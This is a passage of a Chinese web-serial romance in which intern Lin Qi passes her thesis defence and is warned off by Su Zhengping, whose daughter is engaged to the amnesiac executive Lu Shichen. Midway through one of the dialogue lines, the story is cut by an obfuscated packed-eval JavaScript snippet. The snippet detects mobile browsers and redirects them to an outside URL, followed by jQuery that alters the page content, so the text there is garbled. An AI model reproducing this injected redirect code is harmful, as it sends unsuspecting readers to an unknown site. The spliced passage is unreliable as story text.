林栖的心跳又漏了一拍。
她深吸一口气,打开PPT。
“各位老师好,我叫林栖,我的论文题目是……”
她开始讲。
讲着讲着,她慢慢进入了状态。
这是她写了四个月的论文,每一页每一段她都很熟悉。
讲着讲着,她甚至忘了后排还有那个人。
十五分钟后——
“以上就是我的论文内容,谢谢各位老师。”
老师们开始提问。
一个接一个问题抛过来,林栖一一回答。
最后一个问题来自后排。
那个人开口了。
“林同学,我问一个题外话。”他的声音很温和,“你是学人力资源的,对公司的实习生制度有什么看法?”
林栖愣了一下。
这个问题……好像不在论文范围里。
但她还是回答了。
“我觉得实习生制度挺好的,给年轻人提供了锻炼的机会。”她顿了顿,“但是有些公司会压榨实习生,让实习生做很多杂活,学不到东西,这就不好了。”
那个人点点头。
“那你觉得,什么样的公司算好公司?”
林栖想了想。
“给实习生发工资的。”她说,“不让实习生拿外卖的。不把实习生当工具人的。”
台下有同学笑出声。
那个人也笑了。
“很实在。”他说,“谢谢林同学。”
林栖点点头,走下台。
她回到座位,心跳得很快。
刚才那几句话,她是不是说得太直白了?
但说都说了,还能怎么办?
答辩继续。
又过了半个小时,所有同学都讲完了。
老师们简单商议了一下,宣布结果。
林栖过了。
她松了口气。
散场的时候,她正准备往外走,一个声音叫住她。
“林同学。”
林栖回头。
那个人站在她面前,微笑着。
“我是苏正平。”他说,“不知道你有没有时间,聊几句?”
林栖看着他。
走廊外面,陆时琛还在等着。
但她知道,这个人,她躲不过。
“好。”她说。
她跟着苏正平走到走廊尽头。
路过长椅的时候,她看见陆时琛站起来,眼神带着疑问。
她冲他摇摇头,示意他别动。
陆时琛皱着眉,但还是坐下了。
但他看着她的眼神,有点不一样。
好像……在担心什么?
林栖没多想,跟着苏正平走到走廊尽头。
走廊尽头,苏正平停下脚步,转过身来。
他看着她,脸上还挂着那个温和的笑容。
“林同学,答辩讲得不错。”他说,“思路清晰,表达流畅,看得出来是用心写了。”
林栖礼貌地点头:“谢谢苏老师。”
苏正平笑了笑。
“不用叫我老师,我就是来观摩的。”他顿了顿,“说起来,你和时琛是一个公司的?”
林栖心里咯噔一下。
但面上不动声色。
“是的,”她说,“我在陆氏集团实习。”
“实习?”苏正平点点头,“哪个部门?”
“行政部。”
“行政部啊。”苏正平若有所思,“那你平时能见到时琛吗?”
林栖想了想,决定实话实说。
“昨天之前,没见过。”
苏正平挑了挑眉。
“昨天之前没见过,”他重复了一遍,“那昨天之后呢?”
林栖看着他。
他的笑容还是那么温和,但眼神里多了一点别的东西。
“昨天他晕倒了,”林栖说,“我正好在二十一楼送文件,碰上了。”
“然后呢?”
“然后他抓住我的手,叫我老婆。”
苏正平笑了。
“你就这么让他抓着?”
“他抓得太紧,我抽不出来。”
“抽不出来?”苏正平的笑意味深长,“林同学,你这话,说出去谁信?”
林栖没说话。
苏正平看着她,目光里带着一点玩味。
“林同学,你知道我是谁吗?”
林栖点头:“苏氏集团董事长。”
“那你应该也知道,”苏正平慢慢说,“我女儿苏婉,和时琛有婚约。”
林栖继续点头。
“他们订婚三年了。”苏正平说,“三年里,时琛从来没对别的女孩多看过一眼。怎么昨天一晕倒,就抓着你叫老婆?”
林栖听着这话,心里有点不舒服。
这话的潜台词是:你算什么
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342440|199412||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
东西,也配?
但她没表现出来。
“苏董,”她说,“您说的这些,我都不知道。我只知道昨天他晕倒了,抓住我的手不放,我就陪他去了医院。至于他为什么叫我老婆,您应该问他,不是问我。”
苏正平看着她,眼神里闪过一丝意外。
大概是没想到一个小实习生敢这么跟他说话。
他笑了笑。
“林同学别误会,我没别的意思。”他说,“我就是想提醒你一句——时琛现在失忆了,说什么做什么,我们都能理解。但等他好了,该面对的,还是要面对。”
他顿了顿,语气还是那么温和。
“你是个聪明姑娘,应该知道我在说什么。”
林栖听懂了。
他在让她知难而退。
她忽然有点想笑。
“苏董,”她说,“您的意思我明白了。但我有个问题想请教您。”
“你说。”
“您刚才问我,对实习生制度有什么看法。”林栖看着他,“我的看法是,实习生也是人,不是工具,不是用完就扔的抹布。同样,我虽然是个实习生,但我也有脑子,知道自己在做什么。”
她顿了顿。
“您女儿和陆总有婚约,那是他们的事。我现在陪着他,是因为他抓着我的手不放,是因为他需要人照顾。等他好了,他想怎么做,那是他的自由。我不会赖着不走,但也不会因为谁一句话就吓得跑路。”
她看着苏正平,笑了笑。
“您说对吗?”
苏正平看着她。
他的笑容还在,但眼神已经变了。
不是愤怒,而是——一种重新打量的意味。
“有意思。”他说,“林同学,你比我想象的有意思。”
林栖没说话。
苏正平沉默了一会儿,然后点点头。
“行,那我就不多说了。”他转身要走,忽然又停下脚步,“对了,林同学。”
“嗯?”
“你刚才说,时琛抓着你叫老婆。”他回头看她,“你有没有想过,他为什么偏偏抓着你?”
林栖愣了一下。
苏正平笑了笑。
“好好想想吧。”
说完,他走了。
林栖站在原地,看着他的背影消失在楼梯口。
她忽然有点懵。
他最后一句话,是什么意思?